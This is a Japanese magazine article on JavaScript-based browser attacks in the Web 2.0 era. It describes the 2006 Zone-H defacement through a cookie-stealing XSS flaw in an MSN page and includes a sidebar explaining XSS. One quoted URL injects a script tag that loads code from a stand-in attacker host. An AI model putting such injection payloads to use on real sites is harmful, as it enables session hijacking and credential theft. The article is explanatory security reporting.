Web 2.0という言葉で総称される新たなインターネット時代。Webサイトやエンドユーザーに仕掛けられる攻撃もまた,2.0と呼ぶべき進化を遂げようとしている。攻撃者はWeb 2.0の中核技術であるJavaScriptを悪用してブラウザを狙う。従来の脅威対策は全く通用しない。今この瞬間にも,エンドユーザーは個人情報を盗まれる危険にさらされている。

 ブログ/SNSなどユーザー発信型のサイト,AjaxRSS──。華やかさがクローズアップされるWeb 2.0。ところがその裏側では,エンドユーザーに情報盗難などの危険が広がっている(図1)。インターネット・バンキングやEC(電子商取引)サイトのユーザーIDやパスワード,クレジットカード番号はもちろん,企業内のシステムにアクセスするためのパスワードや,パソコンに読み込んだ機密文書データなど,対象はあらゆる情報だ。

図1●狙われるWeb 2.0
図1●狙われるWeb 2.0  [画像のクリックで拡大表示]

 2006年12月末,米国のセキュリティ情報サイト「Zone-H」がWebページを改ざんされた。犯人はZone-Hのサイト管理者になりすましてWebメールを盗み見,システムのパスワードを入手。ページを差し替えた。

 ページ改ざんという現象からは,Web 2.0とは無関係に見えるかもしれない。しかしこの攻撃は,古典的なWebページ改ざんとは違う。重要なのは,Zone-Hに仕掛けられた攻撃が,Web 2.0の中核技術とも言えるJavaScriptを悪用して管理者のWebブラウザを狙ったものだった点である。

 JavaScriptを使ったブラウザ攻撃は以前から警告されてきた。しかし,Web 2.0の流れとともに危険がまん延しつつある。

JavaScriptは負のポテンシャルも持つ

 JavaScriptは本来,Webページに動きを与えたり,ユーザーの使い勝手を向上させたりするためのものである。HTMLファイルの中に記述し,ブラウザがこれを解釈して実行する。

 一方でこれは危険を意味する。Ajaxに代表されるように,JavaScriptをフル活用すればかなり複雑な処理を実現できるからだ。キー・ロガーのようなプログラムはもちろん,ユーザーになりすますためにクッキー情報を盗み取ったり,クリップボードに一時記録された情報を抜き出したりといった悪意あるプログラムも作成可能である。

 こうした悪質なJavaScriptをWebページに埋め込まれると,ユーザーは知らないうちに情報を盗まれてしまう。しかもユーザーはブラウジングしている間,JavaScriptの存在を意識することはほとんどない。JavaScript版のボット・プログラムを仕掛けられているようなものだ。こうなると,犯罪者はたやすく他人になりすまし,金銭や機密情報を盗み出せる。

 Webサイトも決して無関係ではない。基本的にサイトが直接的な被害を受けることはないものの,こうした攻撃が成立してしまう根本原因は,Webページを経由したユーザーへの不正なJavaScript配信を許してしまうWebサイト側にある。顧客の個人情報や金銭を守れない以上,Web経由で提供しているサービスの信用は失墜しかねない。

リンクをたどるだけで攻撃される

 悪質なJavaScriptはどのように仕込まれ,最終的に情報漏えいにつながったのか。それを知る上で,Zone-Hの事件は絶好の材料となる。

 この事件は,サイト管理者のブラウザに保存されていたWebメール・サイト「MSN hotmail」のクッキーを犯人が盗むことで可能になった(図2のStep 3~5)。クッキーにはユーザーを識別するための情報が記されているため,これを盗めば,ユーザー名とパスワードを知らなくても持ち主になりすましてサイトにログインできる。犯人はこれを奪い取り,自分のブラウザに読み込ませることでメールを盗み見た。

図2●Zone-Hに仕掛けられた攻撃
図2●Zone-Hに仕掛けられた攻撃
写真は改ざん前後のWebページ。  [画像のクリックで拡大表示]

 このクッキー盗難の入り口となったのが悪質なJavaScriptを仕込んだWebメールだ。犯人は管理者のブラウザに保存されているクッキーを読み出して自分のサイトあてに送るスクリプトを作成。このスクリプトをパラメータとして含んだURLをメールに記述し,管理者のWebメール・アドレスに送付した。管理者がこのリンクをたどると,Webメール・サーバーはパラメータにあるJavaScriptをそのまま埋め込んだHTMLファイルを生成して管理者のブラウザに返信。ブラウザでスクリプトが動作し,Webメールのクッキーが奪われた。

Webメールにも潜むXSSのぜい弱性

 この事件で使われたWebメール・サイトの弱点をクロスサイト・スクリプティング(XSS)のぜい弱性と呼ぶ(文末記事参照)。ブラウザからWebサーバーにデータを送るとき,このデータに悪意あるJavaScriptを入れられた場合でも,Webサーバーからの返信のHTMLファイルにJavaScriptがそのまま含まれた状態で送られてくるという欠陥である。ブラウザは返信ファイルを読み込む際,このJavaScriptを解釈し実行してしまう。

 Zone-Hの事件では「http://newsletter.msn.com」にある「insite.asp」というWebページにあったXSSのぜい弱性が使われた。具体的には,「http://newsletter.msn.com/xs-v3/insite.asp?**(中略)**<script src=attacker-site.com/redir.js>」というURLをWebサーバーにリクエストすると,「<script・・・>」の部分が含まれた状態でHTMLページが返ってくる。これが管理者のブラウザで解釈され,(1)ブラウザに記憶されているWebメールのクッキーを取り出す,(2)取り出したクッキー情報をWebサイトに送信する──という命令が実行されて,クッキーを盗まれた。最終的に犯人は,Zone-Hサイト管理者のメール・アドレスあてにサイト管理用パスワードを再発行させ,これを盗んでページを改ざんした。

 今のところ,日本ではこうした事件は表面化していない。しかしインターネット上にはXSSのぜい弱性を抱えたWebサイト/Webアプリケーションが無数にある。セキュリティ専門家は,「XSSのぜい弱性があるWebサイトは全サイトの8割」という。我々の身近にあるWebサイトも例外ではあり得ない。

クロスサイト・スクリプティングの動作原理

 XSSとは,ブラウザからWebサーバーへのアクセス要求の中に文字列としてJavaScriptを入れると,該当するWebページのHTMLファイルにその文字列が入った状態で戻ってくるというもの。この文字列を含んだHTMLファイルをブラウザが読み込むと,JavaScriptを解釈して実行してしまう。

 多くのWebアプリケーションでは,入力されたJavaScriptがユーザー側に渡って実行されないように,JavaScriptに使われる文字列をほかの文字に置き換えてからファイルを送るという処理が施されているため問題はない。しかし,こうした処理を怠っているWebアプリケーションがあると,JavaScriptがブラウザ側で実行されるのだ。こうした処理の不備を「XSSのぜい弱性」と呼ぶ。

 例えば図Aのように,「welcome.asp」というプログラムの「USER」というパラメーターに「Taro」という文字列を入力すると,「ようこそTaroさん」というWebページが返るアプリケーションがあったとする。このアプリケーションにXSSのぜい弱性がある場合,「Taro」の代わりにJavaScriptを入れて送ると,HTMLファイルの「Taro」の部分にJavaScriptが書き込まれた状態で返ってくる。これをブラウザが読み込むとJavaScriptが実行される。

図A●XSSのぜい弱性
図A●XSSのぜい弱性
図ではJavaScriptの動作が分かりやすいように「alert」を使ってポップアップをさせているが,攻撃時にはこうした表示はないのでJavaScriptが動いたことに気付かない可能性が高い。  [画像のクリックで拡大表示]